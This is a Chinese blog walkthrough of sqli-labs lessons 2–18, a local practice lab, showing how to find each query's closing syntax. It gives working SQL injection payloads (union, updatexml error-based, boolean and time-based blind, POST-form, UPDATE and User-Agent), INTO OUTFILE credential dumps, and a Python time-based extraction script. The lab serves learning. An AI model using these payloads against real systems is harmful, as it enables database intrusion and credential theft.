目录
1.less-2
通过这两个返回结果进行测试,可以发现是数字型注入
http://127.0.0.1:8085/sqli-labs/Less-2?id=1 and 1=2
http://127.0.0.1:8085/sqli-labs/Less-2?id=1 and 1=1
获取user(),可以看到是root权限,所以之后就是less-1中的老套路了,获取数据库名,获取列的数量,获取表名,列名。。。
2.less-3
这道题第一次没做出来,还是经验太少了,
http://127.0.0.1:8085/sqli-labs/Less-3?id=1'
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
看出来这个报错后面多了一个括号,可以猜测这个比less1中多了一个括号需要闭合(当然是看过答案之后知道的结果)。
http://127.0.0.1:8085/sqli-labs/Less-3?id=1') and 1=2 union select 1,(select user()),3 --+
可以看出是root权限数据库
3.less-4
通过访问url
http://127.0.0.1:8085/sqli-labs/Less-4?id=1"
得到报错
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use
near '"1"") LIMIT 0,1' at line 1
以后得到报错信息就主要关注于near '"1"") LIMIT 0,1' at这块,可以看出真正出错的地方是"1"") LIMIT 0,1,从"1"")可以推测出应该是双引号和括号闭合
http://127.0.0.1:8085/sqli-labs/Less-4?id=1") and 1=2 union select 1,(select user()),3 --+
4.less-5
通过正常访问放回的结果可以发现,他这里没有回显,但是如果出错的话,会进行报错,说明是报错注入
正常语句
http://127.0.0.1:8085/sqli-labs/Less-5?id=1
返回页面
错误语句
http://127.0.0.1:8085/sqli-labs/Less-5?id=1'
报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
所以就要用到报错注入的方法进行漏洞利用
http://127.0.0.1:8085/sqli-labs/Less-5?id=1' and 1=2 union select (updatexml(1,concat(0x3a,(select user())),1)) --+
之后报错
5.less-6
输入http://127.0.0.1:8085/sqli-labs/Less-6?id=1'
得到正确结果
输入:http://127.0.0.1:8085/sqli-labs/Less-6?id=1"
报错:
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near '"1"" LIMIT 0,1' at line 1
可以确定其是用双引号闭合的报错注入类型
之后
http://127.0.0.1:8085/sqli-labs/Less-6?id=1" and 1=2
union select (updatexml(1,concat(0x3a,(select user())),1)) --+
来进行查询
返回页面
说明一下,为啥单引号那里没有报错,sql语句是
SELECT * FROM users WHERE id="1'"
这个语句能在数据库中得出正确结果
6.less-7
这道题通过测试测试出闭合语句是')),http://127.0.0.1:8085/sqli-labs/Less-7?id=1')) --+
这道题目提示让你使用文件读写功能,前提是需要又读写权限
查询是否有写入的权限
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
Value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
这个修改之后才能进行读写操纵
?id=0')) union select version(),user(),database() into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\a.txt"--+
?id=0')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\b.txt"--+
?id=0')) union select 1,2,column_name from information_schema.columns where table_name='users' into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\c.txt"--+
?id=0')) union select 1,username,password from users into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\d.txt"--+
这个less一直卡在设置读写权限,不知道为啥我的win上一直没有修改成功,所以就把这个记录在这里了。
7.less-8
这道题看出来没有报错啥的,就是啥信息都没有,看来只能布尔注入或者时间注入了
我用的是布尔注入方式,使用的是burp来当作爆破工具
首先是数据库名长度:
http://127.0.0.1:8085/sqli-labs/Less-8?id=1'and length(database()) > 8 --+
得到名字长度为8
其次是数据库名:
http://127.0.0.1:8085/sqli-labs/Less-8?id=1'and mid(database(),1,1)= 's' --+
之后开始爆破
结果:
可以猜出数据库名了,其他的类似。
有一点值得注意的是,真实场景下,我觉得是不可能给你这么多爆破的机会的,ip应该早就被ban了。
8.less9
这道题说实话一开始测试了一会也没发现注入点,只是发现应该是盲注,因为不管sql语句是否正确他都会返回you are in没有任何不同,所以也就不能用bool注入了,看了看答案用的是时间注入。具体理解时间注入就是,你把sleep函数用上以后,只要时间有延长就说明存在时间注入
- 相关函数
这一关需要用到一个if函数
IF(expr1,expr2,expr3) :既可以作为表达式用,也可在存储过程中作为流程控制语句使用
expr1 是判断条件 ,成立执行expr2 不成立执行 expr3
还有一个sleep(seconds) :执行延迟seconds秒
通过改变length来判断数据库长度
1' and if(length(database())=1,sleep(0.1),1) #
可以自己手写python代码来进行判断,网上吵了一个。
这里的脚本使用了time函数库,经过检测,发现这个库比较精确。可以将延时时间设置为0.1 秒,可以精确判断
# less-9 基于时间的单引号注入
from urllib import request
from urllib import parse
from time import time
url = "http://192.168.64.135/Less-9/?id="
#1 查数据库
database_length = 0
while True:
param = "1' and if(length(database())="+str(database_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if ( time() - t > 0.1 ):
print("DATABASE_LENGTH:"+str(database_length))
break
else:
database_length += 1
db_name = ""
for l in range(database_length):
for a in range(128):
param = "1' and if(ascii(substr(database()," + str(l+1) + "))=" + str(a) + ",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time()-t >0.1):
db_name += chr(a)
break
print("[*]:"+db_name)
————————————————
版权声明:本文为优快云博主「ST0new」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.youkuaiyun.com/wang_624/article/details/101913584
9.less10
和less9一样,只是闭合方式发生了改变,变成双引号进行闭合
http://127.0.0.1:8085/sqli-labs/Less-10/?id=1" and sleep(5) --+
10.less-11
可以看的出来时post类型的注入。注意这里传值时用%23转义或者--+是不起作用的,因为账号密码传到后台并没有给你进行转义,所以直接输入#来注释就行。
尝试利用如下来进行注入
username:1' or 1=1 order by 1#
passwd:#
得到结果,注入成功。
之后老套路,order by 查出只有两列,其实这里可以大概猜出不是用select *进行的查询,而是select username,password这样进行的查询。之后
username:1' or 1=2 union select database(),2 #
password:#
可以得到数据库名字,之后还是老套路获取其他内容。
11.less12
这个和less11一样,只不过是需要用")来闭合
具体的为
username:1") or 1=1 #
password:#
小tips,以后闭合多尝试:' 、 ') 、 ')) 、 " 、 ") 、 "")、
还有一个好用的小tips,就是利用转义字符来判断,利用转义字符\,比如?1\这种
12 less13
输入
username:1\
password:1\
报错
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '1\') LIMIT 0,1'
at line 1
可以断定这个是报错注入,并且闭合方式是‘),之后就按照报错注入的套路来就行了。
13 less 14
还是利用1\进行测试可以测试出闭合类型为" 并且为报错注入
(看来转义字符这个小tips很好用啊)
14.less15
首先利用1\没有返回,说明不能使用报错注入和回显注入的套路来进行了,只能使用布尔注入或者时间注入了。其实这道题从原理上来讲,时间注入或者布尔注入都是可以的。
由于没有报错,闭合方式只能考猜了,用了下?id=1 or 1=1没有成功,之后利用?id=1’ or 1=1成功了,说明闭合方式是分号。
15.less16
原理和less15类似,并没有报错回显,通过猜测常用的闭合方式得知闭合方式是")
所以注入语句为:1") or 1=1 #
登陆成功!
16.less17
这道题是updata类型的注入,通过看源码看出他对username进行了过滤,所以注入点只能从password中找了,而且这道题你还得先知道一个username才能进行注入。
具体注入参数如下
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#&submit=Submit
17.less18
这道题通过阅读代码发现,是利用user-agent进行的注入,并且是报错注入,有一点比较奇怪的是代码中用$_SERVER['REMOTE_ADDR'];来获取地址,我不知道修改哪里才能改变这个值,所以这个注入点就利用不上,只能使用user-agent
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1 // 查询版本信息